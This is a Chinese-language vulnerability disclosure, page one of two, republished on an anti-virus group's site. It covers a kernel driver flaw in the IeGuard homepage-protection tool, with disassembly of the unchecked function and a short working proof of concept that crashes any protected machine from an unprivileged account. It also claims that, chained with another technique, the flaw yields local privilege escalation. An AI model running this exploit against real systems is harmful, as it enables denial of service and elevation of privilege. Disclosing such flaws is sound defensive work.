Welcome visit China Anti-virus group
我要发布文章
当前位置:中国反病毒小组 >> 安全漏洞 >> 浏览文章     
   
 

 

 

首页巡警v1.1/1.0 内核驱动 拒绝服务 及 本地提权漏洞

 作者:MJ0011 2008年05月22日 来源:反病毒小组整理   我要发布文章
 

首页巡警v1.1/1.0的内核驱动程序存在严重漏洞

安装了首页巡警v1.1(v1.0)的机器,任意权限的用户可导致系统蓝屏(BSOD),造成拒绝服务攻击

结合我之前公布的SystemCrashDumpInformation加载驱动方式,可以在安装了HIPS的机器上造成本地提权漏洞,即任意权限的用户可以加载驱动到内核并执行。

出问题的函数是IeGuard.sys!HkZwSetValueKey

该函数的第三个参数是PUNICODE_STRING ValueName

IeGuard没有对参数做任何检查就使用RtlCompareUnicodeString函数对该值进行判断,只要在RING3对此参数置0,IeGuard将立即导致系统蓝屏

相关汇编代码:

.text:00011430 HkZwSetValueKey proc near               ; DATA XREF: HookKeyRoutine+52 o
.text:00011430                                         ; sub_11B66+45 o
.text:00011430
.text:00011430 StartPageUniName= UNICODE_STRING ptr -14h
.text:00011430 var_C           = dword ptr -0Ch
.text:00011430 Object          = dword ptr -8
.text:00011430 isPass          = byte ptr -1
.text:00011430 Handle          = dword ptr 8
.text:00011430 ValueName       = dword ptr 0Ch
.text:00011430 arg_8           = dword ptr 10h
.text:00011430 arg_C           = dword ptr 14h
.text:00011430 arg_10          = dword ptr 18h
.text:00011430 arg_14          = dword ptr 1Ch
.text:00011430
.text:00011430                 mov     edi, edi
.text:00011432                 push    ebp
.text:00011433                 mov     ebp, esp
.text:00011435                 sub     esp, 14h
.text:00011438                 push    ebx
.text:00011439                 xor     ebx, ebx
.text:0001143B                 mov     [ebp+isPass], bl
.text:0001143E                 call    ds:ExGetPreviousMode
.text:00011444                 cmp     al, 1
.text:00011446                 jnz     loc_114FA
.text:00011446
.text:0001144C                 push    offset str_StartPage ; SourceString
.text:00011451                 lea     eax, [ebp+StartPageUniName]
.text:00011454                 push    eax             ; DestinationString
.text:00011455                 call    ds:RtlInitUnicodeString
.text:0001145B                 push    1               ; CaseInSensitive
.text:0001145D                 push    [ebp+ValueName] ; String2
.text:00011460                 lea     eax, [ebp+StartPageUniName]
.text:00011463                 push    eax             ; String1
.text:00011464                 call    ds:RtlCompareUnicodeString

<---此处未做任何判断就将ValueName传递给RtlCompareUnicodeString

导致蓝屏

.text:0001146A                 test    eax, eax
.text:0001146C                 jnz     loc_114FA

 

利用代码(该代码运行后即可导致安装了首页巡警的机器立即蓝屏,可在任意用户权限下执行)

HMODULE hlib = LoadLibrary("ntdll.dll");
PVOID p = GetProcAddress(hlib , "ZwSetValueKey");


__asm
{
   push 0
   push 0
   push 0
   push 0
   push 0
   push 0
   call p

}

测试程序下载:

http://www.debugman.com/read.php?tid=1330

或:

http://mj0011.ys168.com/ 漏洞演示\IeGuardLeakTest.rar

下一页
本文共 2 页,第  [1]  [2]  页

www.china-antivirus.com
 
共有位读者阅读过此文 [关闭本页]

反病毒小组给您安全的保障


    搜索:
 
  □- 本周热门文章 □- 常用专杀下载 □- 服务器安全文章
 



教你将Linux配置为代理防火墙
Linux系统下封杀非法IP
Linux如何 伪装IP
Linux系统常见问题处理方法
怎样把Linux系统服务器当作Mac的服务器
DOS下远程修改Serv-UFTP用户的登录密码
怎样做反向域名解析?
安全配置向导(SCW)为Win2003打造铜墙铁壁
在RedHat 6.0上安装Oracle 8i(全攻略)
如何设置虚拟匿名FTP主机
 
 
 
 
 



关于我们 | 版权声明 | 技术论坛 | 联系我们 | 我要投稿 Copyright(c) china-antivirus.com All rights reserved 反病毒小组